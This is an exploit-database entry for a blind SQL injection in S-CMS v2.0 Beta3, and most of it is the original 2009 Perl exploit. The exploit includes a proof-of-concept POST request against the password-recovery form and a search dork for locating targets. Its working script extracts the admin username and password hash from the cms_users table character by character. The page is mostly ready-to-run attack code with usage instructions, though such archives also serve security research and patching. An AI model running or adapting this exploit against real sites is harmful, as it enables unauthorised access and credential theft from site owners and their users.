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vendor:
S-CMS
by:
José Palazón 'Palako'
8,8
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: S-CMS
Affected Version From: S-CMS v2.0 Beta3
Affected Version To: S-CMS v2.0 Beta3
Patch Exists: YES
Related CWE: N/A
CPE: a:matteoiammarrone:s-cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

(Post Form var ‘username’) BLIND SQLi exploit

A Blind SQL Injection vulnerability has been discovered in S-CMS v2.0 Beta3. The vulnerability is located in the 'username' parameter of the 'login.php' page. Remote attackers can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's database.

Mitigation:

Upgrade to the latest version of S-CMS.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|       	   	   (Post Form var 'username') BLIND SQLi exploit         	     |
#|-------------------------------------------------------------------------------------------|
#|                                    |    S-CMS <= v-2.0 Beta3   |		    	     |
#|  CMS INFORMATION:          	       ---------------------------	               	     |
#|										             |
#|-->WEB: http://www.matteoiammarrone.com/public/s-cms/			       		     |
#|-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Portal								     |
#|-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins,                |
#|		blocks and permission system.                            		     |
#|-->RELEASED: 2009-05-25								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: "S-CMS by matteoiamma"						             |
#|-->CATEGORY: BLIND SQLi exploit						             |
#|-->AFFECT VERSION: <= 2.0-Beta3					 		     |
#|-->Discovered Bug date: 2009-05-25							     |
#|-->Reported Bug date: 2009-05-25							     |
#|-->Fixed bug date: 2009-05-28								     |
#|-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3    |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#{db_prefix} by default=cms
#
#-------
#NEED:
#-------
#
#Valid username
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost
#
#username=pepe%27+or+1%3D%271&recupera_pass=Recover+password --> OK, sending code
#
#username=pepe%27+or+1%3D%270&recupera_pass=Recover+password --> Uhm?, username doesn't exist
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=oVYrVcfA6Vo
#
# SQLi --> http://www.youtube.com/watch?v=S__l5IKzYNU
#      --> http://www.youtube.com/watch?v=LprQDdZ6ZcU
#
# LFI --> http://www.youtube.com/watch?v=2NhaNFbyP_w
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(POST => $_[0]);
	$request->referer($_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]);
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	#print $request->as_string; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Bad username.\n";
	print "\t\t4.-db_prefix isn't 'cms'.\n";
	print "\t\t5.-Magic quotes ON'.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
	print "\n\t[!!!] S-CMS V-2.0 Beta3 Blind SQL Injection Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [USER]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [USER]: Username for fish\n";
	print "\t[!!!] Example: perl $0 'www.example.com' 'demo' 'y3nh4ck3r'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql="username=".$_[1]."'+AND+(SELECT+length(username)+FROM+cms_users+WHERE+uid=1)='".$i++."&recupera_pass=Recover+password"; #injected code
	$output=&request($_[0],$blindsql);
	if($output =~ (/\<center\>Generate a confirmation code that was sent via email\.\<\/center\>/)){
		$exit=1;
	}else{
		$exit=0;
	}
	#This is the max length of username
	if($i>50){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
	$z=45;
	while(($k<=$_[1]) && ($z<=126)){
		my $blindsql="username=".$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+cms_users+WHERE+uid=1),".$k.",1))='".$z."&recupera_pass=Recover+password";
		$output=&request($_[0],$blindsql);
		if($output =~ (/\<center\>Generate a confirmation code that was sent via email.\<\/center\>/))
		{
			$values=$values.chr($z);
			$k++;
			$z=45;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   S-CMS V-2.0 Beta3 Blind SQL Injection Exploit   ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Valid username (USER)             ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $userforfish=$ARGV[2];
$numArgs = $#ARGV + 1;
if($numArgs<=2) 
	{
		&helper;
		exit(1);	
	}	
#Build uri
my $finalhost="http://".$host."/".$path."/plugin.php?page=your_account.php&mode=passlost";
$finalrequest = $finalhost;	
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=".$userforfish."%27+or+1%3D%271&recupera_pass=Recover+password";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=".$userforfish."%27+or+1%3D%270&recupera_pass=Recover+password";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{    
	#Not injectable
	&error;
	exit(1); 
}else{ 
	#blind sql injection is available
	&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$userforfish);	
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username',$userforfish);
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password',$userforfish);
#final checking
if((!$user) || (!$pwhash)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-06-09]

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